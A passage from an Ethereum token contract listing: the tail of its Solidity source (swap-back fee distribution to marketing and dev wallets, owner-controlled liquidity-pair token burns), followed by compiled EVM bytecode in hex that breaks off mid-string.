private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
0x6080604052600436106103b15760003560e01c80638da5cb5b116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b14610e03578063f637434214610e2c578063f8b45b0514610e57578063fe72b27a14610e82576103b8565b8063dd62ed3e14610d45578063e2f4560514610d82578063e884f26014610dad578063f11a24d314610dd8576103b8565b8063c876d0b9116100dc578063c876d0b914610c87578063c8c8ebe414610cb2578063d257b34f14610cdd578063d85ba06314610d1a576103b8565b8063bbc0c74214610be1578063c024666814610c0c578063c17b5b8c14610c35578063c18bc19514610c5e576103b8565b80639ec22c0e11610185578063a4c82a0011610154578063a4c82a0014610b13578063a9059cbb14610b3e578063aacebbe314610b7b578063b62496f514610ba4576103b8565b80639ec22c0e14610a555780639fccce3214610a80578063a0d82dc514610aab578063a457c2d714610ad6576103b8565b8063924de9b7116101c1578063924de9b7146109ad57806395d89b41146109d65780639a7a23d614610a015780639c3b4fdc14610a2a576103b8565b80638da5cb5b1461092c5780638ea5220f146109575780639213691314610982576103b8565b8063313ce567116102d7578063715018a61161026a57806375f0a8741161023957806375f0a874146108965780637bce5a04146108c15780638095d564146108ec5780638a8c523c14610915576103b8565b8063715018a614610802578063730c188814610819578063751039fc146108425780637571336a1461086d576103b8565b80634fbee193116102a65780634fbee193146107325780636a486a8e1461076f5780636ddd17131461079a57806370a08231146107c5576103b8565b8063313ce56714610674578063395093511461069f57806349bd5a5e146106dc5780634a62bb6514610707576103b8565b8063199ffc721161034f57806323b872dd1161031e57806323b872dd146105b657806327c8f835146105f35780632c3e486c1461061e5780632e82f1a014610649576103b8565b8063199ffc721461050c5780631a8145bb146105375780631f3fed8f14610562578063203e727e1461058d576103b8565b80631694505e1161038b5780631694505e1461046257806318160ddd1461048d5780631816467f146104b8578063184c16c5146104e1576103b8565b806306fdde03146103bd578063095ea7b3146103e857806310d5de5314610425576103b8565b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610ebf565b6040516103df91906145de565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a9190614699565b610f51565b60405161041c91906146f4565b60405180910390f35b34801561043157600080fd5b5061044c6004803603810190610447919061470f565b610f6f565b60405161045991906146f4565b60405180910390f35b34801561046e57600080fd5b50610477610f8e565b604051610484919061479b565b60405180910390f35b34801561049957600080fd5b506104a2610fb2565b6040516104af91906147c5565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da919061470f565b610fbc565b005b3480156104ed57600080fd5b506104f66110f8565b60405161050391906147c5565b60405180910390f35b34801561051857600080fd5b506105216110fe565b60405161052e91906147c5565b60405180910390f35b34801561054357600080fd5b5061054c611104565b60405161055991906147c5565b60405180910390f35b34801561056e57600080fd5b5061057761110a565b60405161058491906147c5565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af91906147e0565b611110565b005b3480156105c257600080fd5b506105dd60048036038101906105d8919061480d565b61121f565b6040516105ea91906146f4565b60405180910390f35b3480156105ff57600080fd5b50610608611317565b604051610615919061486f565b60405180910390f35b34801561062a57600080fd5b5061063361131d565b60405161064091906147c5565b60405180910390f35b34801561065557600080fd5b5061065e611323565b60405161066b91906146f4565b60405180910390f35b34801561068057600080fd5b50610689611336565b60405161069691906148a6565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c19190614699565b61133f565b6040516106d391906146f4565b60405180910390f35b3480156106e857600080fd5b506106f16113eb565b6040516106fe919061486f565b60405180910390f35b34801561071357600080fd5b5061071c61140f565b60405161072991906146f4565b60405180910390f35b34801561073e57600080fd5b506107596004803603810190610754919061470f565b611422565b60405161076691906146f4565b60405180910390f35b34801561077b57600080fd5b50610784611478565b60405161079191906147c5565b60405180910390f35b3480156107a657600080fd5b506107af61147e565b6040516107bc91906146f4565b60405180910390f35b3480156107d157600080fd5b506107ec60048036038101906107e7919061470f565b611491565b6040516107f991906147c5565b60405180910390f35b34801561080e57600080fd5b506108176114d9565b005b34801561082557600080fd5b50610840600480360381019061083b91906148ed565b611561565b005b34801561084e57600080fd5b506108576116a1565b60405161086491906146f4565b60405180910390f35b34801561087957600080fd5b50610894600480360381019061088f9190614940565b611741565b005b3480156108a257600080fd5b506108ab611818565b6040516108b8919061486f565b60405180910390f35b3480156108cd57600080fd5b506108d661183e565b6040516108e391906147c5565b60405180910390f35b3480156108f857600080fd5b50610913600480360381019061090e9190614980565b611844565b005b34801561092157600080fd5b5061092a611942565b005b34801561093857600080fd5b506109416119fd565b60405161094e919061486f565b60405180910390f35b34801561096357600080fd5b5061096c611a27565b604051610979919061486f565b60405180910390f35b34801561098e57600080fd5b50610997611a4d565b6040516109a491906147c5565b60405180910390f35b3480156109b957600080fd5b506109d460048036038101906109cf91906149d3565b611a53565b005b3480156109e257600080fd5b506109eb611aec565b6040516109f891906145de565b60405180910390f35b348015610a0d57600080fd5b50610a286004803603810190610a239190614940565b611b7e565b005b348015610a3657600080fd5b50610a3f611c97565b604051610a4c91906147c5565b60405180910390f35b348015610a6157600080fd5b50610a6a611c9d565b604051610a7791906147c5565b60405180910390f35b348015610a8c57600080fd5b50610a95611ca3565b604051610aa291906147c5565b60405180910390f35b348015610ab757600080fd5b50610ac0611ca9565b604051610acd91906147c5565b60405180910390f35b348015610ae257600080fd5b50610afd6004803603810190610af89190614699565b611caf565b604051610b0a91906146f4565b60405180910390f35b348015610b1f57600080fd5b50610b28611d9a565b604051610b3591906147c5565b60405180910390f35b348015610b4a57600080fd5b50610b656004803603810190610b609190614699565b611da0565b604051610b7291906146f4565b60405180910390f35b348015610b8757600080fd5b50610ba26004803603810190610b9d919061470f565b611dbe565b005b348015610bb057600080fd5b50610bcb6004803603810190610bc6919061470f565b611efa565b604051610bd891906146f4565b60405180910390f35b348015610bed57600080fd5b50610bf6611f1a565b604051610c0391906146f4565b60405180910390f35b348015610c1857600080fd5b50610c336004803603810190610c2e9190614940565b611f2d565b005b348015610c4157600080fd5b50610c5c6004803603810190610c579190614980565b612052565b005b348015610c6a57600080fd5b50610c856004803603810190610c8091906147e0565b612151565b005b348015610c9357600080fd5b50610c9c612260565b604051610ca991906146f4565b60405180910390f35b348015610cbe57600080fd5b50610cc7612273565b604051610cd491906147c5565b60405180910390f35b348015610ce957600080fd5b50610d046004803603810190610cff91906147e0565b612279565b604051610d1191906146f4565b60405180910390f35b348015610d2657600080fd5b50610d2f6123ce565b604051610d3c91906147c5565b60405180910390f35b348015610d5157600080fd5b50610d6c6004803603810190610d679190614a00565b6123d4565b604051610d7991906147c5565b60405180910390f35b348015610d8e57600080fd5b50610d9761245b565b604051610da491906147c5565b60405180910390f35b348015610db957600080fd5b50610dc2612461565b604051610dcf91906146f4565b60405180910390f35b348015610de457600080fd5b50610ded612501565b604051610dfa91906147c5565b60405180910390f35b348015610e0f57600080fd5b50610e2a6004803603810190610e25919061470f565b612507565b005b348015610e3857600080fd5b50610e416125ff565b604051610e4e91906147c5565b60405180910390f35b348015610e6357600080fd5b50610e6c612605565b604051610e7991906147c5565b60405180910390f35b348015610e8e57600080fd5b50610ea96004803603810190610ea491906147e0565b61260b565b604051610eb691906146f4565b60405180910390f35b606060038054610ece90614a6f565b80601f0160208091040260200160405190810160405280929190818152602001828054610efa90614a6f565b8015610f475780601f10610f1c57610100808354040283529160200191610f47565b820191906000526020600020905b815481529060010190602001808311610f2a57829003601f168201915b5050505050905090565b6000610f65610f5e6128e3565b84846128eb565b6001905092915050565b602080528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610fc46128e3565b73ffffffffffffffffffffffffffffffffffffffff16610fe26119fd565b73ffffffffffffffffffffffffffffffffffffffff1614611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f90614aed565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b600b5481565b601d5481565b601c5481565b6111186128e3565b73ffffffffffffffffffffffffffffffffffffffff166111366119fd565b73ffffffffffffffffffffffffffffffffffffffff161461118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390614aed565b60405180910390fd5b670de0b6b3a76400006103e860016111a2610fb2565b6111ac9190614b3c565b6111b69190614bc5565b6111c09190614bc5565b811015611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990614c68565b60405180910390fd5b670de0b6b3a7640000816112169190614b3c565b60088190555050565b600061122c848484612ab6565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006112776128e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156112f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ee90614cfa565b60405180910390fd5b61130b856113036128e3565b8584036128eb565b60019150509392505050565b61dead81565b600d5481565b600c60009054906101000a900460ff1681565b60006012905090565b60006113e161134c6128e3565b84846001600061135a6128e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113dc9190614d1a565b6128eb565b6001905092915050565b7f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff4789681565b601160009054906101000a900460ff1681565b6000601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60185481565b601160029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114e16128e3565b73ffffffffffffffffffffffffffffffffffffffff166114ff6119fd565b73ffffffffffffffffffffffffffffffffffffffff1614611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90614aed565b60405180910390fd5b61155f600061394b565b565b6115696128e3565b73ffffffffffffffffffffffffffffffffffffffff166115876119fd565b73ffffffffffffffffffffffffffffffffffffffff16146115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d490614aed565b60405180910390fd5b610258831015611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990614de2565b60405180910390fd5b6103e88211158015611635575060008210155b611674576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166b90614e74565b60405180910390fd5b82600d8190555081600b8190555080600c60006101000a81548160ff021916908315150217905550505050565b60006116ab6128e3565b73ffffffffffffffffffffffffffffffffffffffff166116c96119fd565b73ffffffffffffffffffffffffffffffffffffffff161461171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690614aed565b60405180910390fd5b6000601160006101000a81548160ff0219169083151502179055506001905090565b6117496128e3565b73ffffffffffffffffffffffffffffffffffffffff166117676119fd565b73ffffffffffffffffffffffffffffffffffffffff16146117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b490614aed565b60405180910390fd5b80602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b61184c6128e3565b73ffffffffffffffffffffffffffffffffffffffff1661186a6119fd565b73ffffffffffffffffffffffffffffffffffffffff16146118c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b790614aed565b60405180910390fd5b8260158190555081601681905550806017819055506017546016546015546118e89190614d1a565b6118f29190614d1a565b60148190555060148054111561193d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193490614ee0565b60405180910390fd5b505050565b61194a6128e3565b73ffffffffffffffffffffffffffffffffffffffff166119686119fd565b73ffffffffffffffffffffffffffffffffffffffff16146119be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b590614aed565b60405180910390fd5b6001601160016101000a81548160ff0219169083151502179055506001601160026101000a81548160ff02191690831515021790555042600e81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611a5b6128e3565b73ffffffffffffffffffffffffffffffffffffffff16611a796119fd565b73ffffffffffffffffffffffffffffffffffffffff1614611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac690614aed565b60405180910390fd5b80601160026101000a81548160ff02191690831515021790555050565b606060048054611afb90614a6f565b80601f0160208091040260200160405190810160405280929190818152602001828054611b2790614a6f565b8015611b745780601f10611b4957610100808354040283529160200191611b74565b820191906000526020600020905b815481529060010190602001808311611b5757829003601f168201915b5050505050905090565b611b866128e3565b73ffffffffffffffffffffffffffffffffffffffff16611ba46119fd565b73ffffffffffffffffffffffffffffffffffffffff1614611bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf190614aed565b60405180910390fd5b7f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff4789673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8090614f72565b60405180910390fd5b611c938282613a11565b5050565b60175481565b60105481565b601e5481565b601b5481565b60008060016000611cbe6128e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7290615004565b60405180910390fd5b611d8f611d866128e3565b858584036128eb565b600191505092915050565b600e5481565b6000611db4611dad6128e3565b8484612ab6565b6001905092915050565b611dc66128e3565b73ffffffffffffffffffffffffffffffffffffffff16611de46119fd565b73ffffffffffffffffffffffffffffffffffffffff1614611e3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3190614aed565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60216020528060005260406000206000915054906101000a900460ff1681565b601160019054906101000a900460ff1681565b611f356128e3565b73ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff1614611fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa090614aed565b60405180910390fd5b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161204691906146f4565b60405180910390a25050565b61205a6128e3565b73ffffffffffffffffffffffffffffffffffffffff166120786119fd565b73ffffffffffffffffffffffffffffffffffffffff16146120ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c590614aed565b60405180910390fd5b8260198190555081601a8190555080601b81905550601b54601a546019546120f69190614d1a565b6121009190614d1a565b6018819055506019601b54111561214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390615070565b60405180910390fd5b505050565b6121596128e3565b73ffffffffffffffffffffffffffffffffffffffff166121776119fd565b73ffffffffffffffffffffffffffffffffffffffff16146121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490614aed565b60405180910390fd5b670de0b6b3a76400006103e860056121e3610fb2565b6121ed9190614b3c565b6121f79190614bc5565b6122019190614bc5565b811015612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90615102565b60405180910390fd5b670de0b6b3a7640000816122579190614b3c565b600a8190555050565b601360009054906101000a900460ff1681565b60085481565b60006122836128e3565b73ffffffffffffffffffffffffffffffffffffffff166122a16119fd565b73ffffffffffffffffffffffffffffffffffffffff16146122f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ee90614aed565b60405180910390fd5b620186a06001612305610fb2565b61230f9190614b3c565b6123199190614bc5565b82101561235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235290615194565b60405180910390fd5b6103e86005612368610fb2565b6123729190614b3c565b61237c9190614bc5565b8211156123be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b590615226565b60405180910390fd5b8160098190555060019050919050565b60145481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b600061246b6128e3565b73ffffffffffffffffffffffffffffffffffffffff166124896119fd565b73ffffffffffffffffffffffffffffffffffffffff16146124df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d690614aed565b60405180910390fd5b6000601360006101000a81548160ff0219169083151502179055506001905090565b60165481565b61250f6128e3565b73ffffffffffffffffffffffffffffffffffffffff1661252d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1614612583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257a90614aed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156125f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ea906152b8565b60405180910390fd5b6125fc8161394b565b50565b601a5481565b600a5481565b60006126156128e3565b73ffffffffffffffffffffffffffffffffffffffff166126336119fd565b73ffffffffffffffffffffffffffffffffffffffff1614612689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268090614aed565b60405180910390fd5b600f546010546126999190614d1a565b42116126da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d190615324565b60405180910390fd5b6103e882111561271f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612716906153b6565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff478966040518263ffffffff1660e01b8152600401612781919061486f565b602060405180830381865afa15801561279e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127c291906153eb565b905060006127ed6127106127df8685613ab290919063ffffffff16565b613ac890919063ffffffff16565b90506000811115612826576128257f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff4789661dead83613ade565b5b60007f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff4789690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561289357600080fd5b505af11580156128a7573d6000803e3d6000fd5b505050507f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb60405160405180910390a160019350505050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561295b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129529061548a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c29061551c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aa991906147c5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1d906155ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90615640565b60405180910390fd5b6000811415612bb057612bab83836000613ade565b613946565b601160009054906101000a900460ff161561337057612bcd6119fd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612c3b5750612c0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c745750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cae575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cc75750600560149054906101000a900460ff16155b1561336f57601160019054906101000a900460ff16612dc157601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d815750601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db7906156ac565b60405180910390fd5b5b601360009054906101000a900460ff1615612f8d57612dde6119fd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e6557507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612ebd57507f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff4789673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f885743601260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3a90615764565b60405180910390fd5b43601260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b613086565b602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156130305750602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561308557601360009054906101000a900460ff16613084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307b90615764565b60405180910390fd5b5b5b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156131295750602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156131d057600854811115613173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161316a906157f6565b60405180910390fd5b600a5461317f83611491565b8261318a9190614d1a565b11156131cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c290615862565b60405180910390fd5b61336e565b602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156132735750602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156132c2576008548111156132bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132b4906158f4565b60405180910390fd5b61336d565b602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661336c57600a5461331f83611491565b8261332a9190614d1a565b111561336b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161336290615862565b60405180910390fd5b5b5b5b5b5b600061337b30611491565b9050600060095482101590508080156133a05750601160029054906101000a900460ff165b80156133b95750600560149054906101000a900460ff16155b801561340f5750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156134655750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156134bb5750601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156134ff576001600560146101000a81548160ff0219169083151502179055506134e3613d5f565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff161580156135655750602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561357d5750600c60009054906101000a900460ff165b80156135985750600d54600e546135949190614d1a565b4210155b80156135ee5750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156135fd576135fb614046565b505b6000600560149054906101000a900460ff16159050601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806136b35750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156136bd57600090505b6000811561393657602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561372057506000601854115b156137ed5761374d606461373f60185488613ab290919063ffffffff16565b613ac890919063ffffffff16565b9050601854601a54826137609190614b3c565b61376a9190614bc5565b601d600082825461377b9190614d1a565b92505081905550601854601b54826137939190614b3c565b61379d9190614bc5565b601e60008282546137ae9190614d1a565b92505081905550601854601954826137c69190614b3c565b6137d09190614bc5565b601c60008282546137e19190614d1a565b92505081905550613912565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561384857506000601454115b1561391157613875606461386760145488613ab290919063ffffffff16565b613ac890919063ffffffff16565b9050601454601654826138889190614b3c565b6138929190614bc5565b601d60008282546138a39190614d1a565b92505081905550601454601754826138bb9190614b3c565b6138c59190614bc5565b601e60008282546138d69190614d1a565b92505081905550601454601554826138ee9190614b3c565b6138f89190614bc5565b601c60008282546139099190614d1a565b925050819055505b5b600081111561392757613926873083613ade565b5b80856139339190615914565b94505b61394187878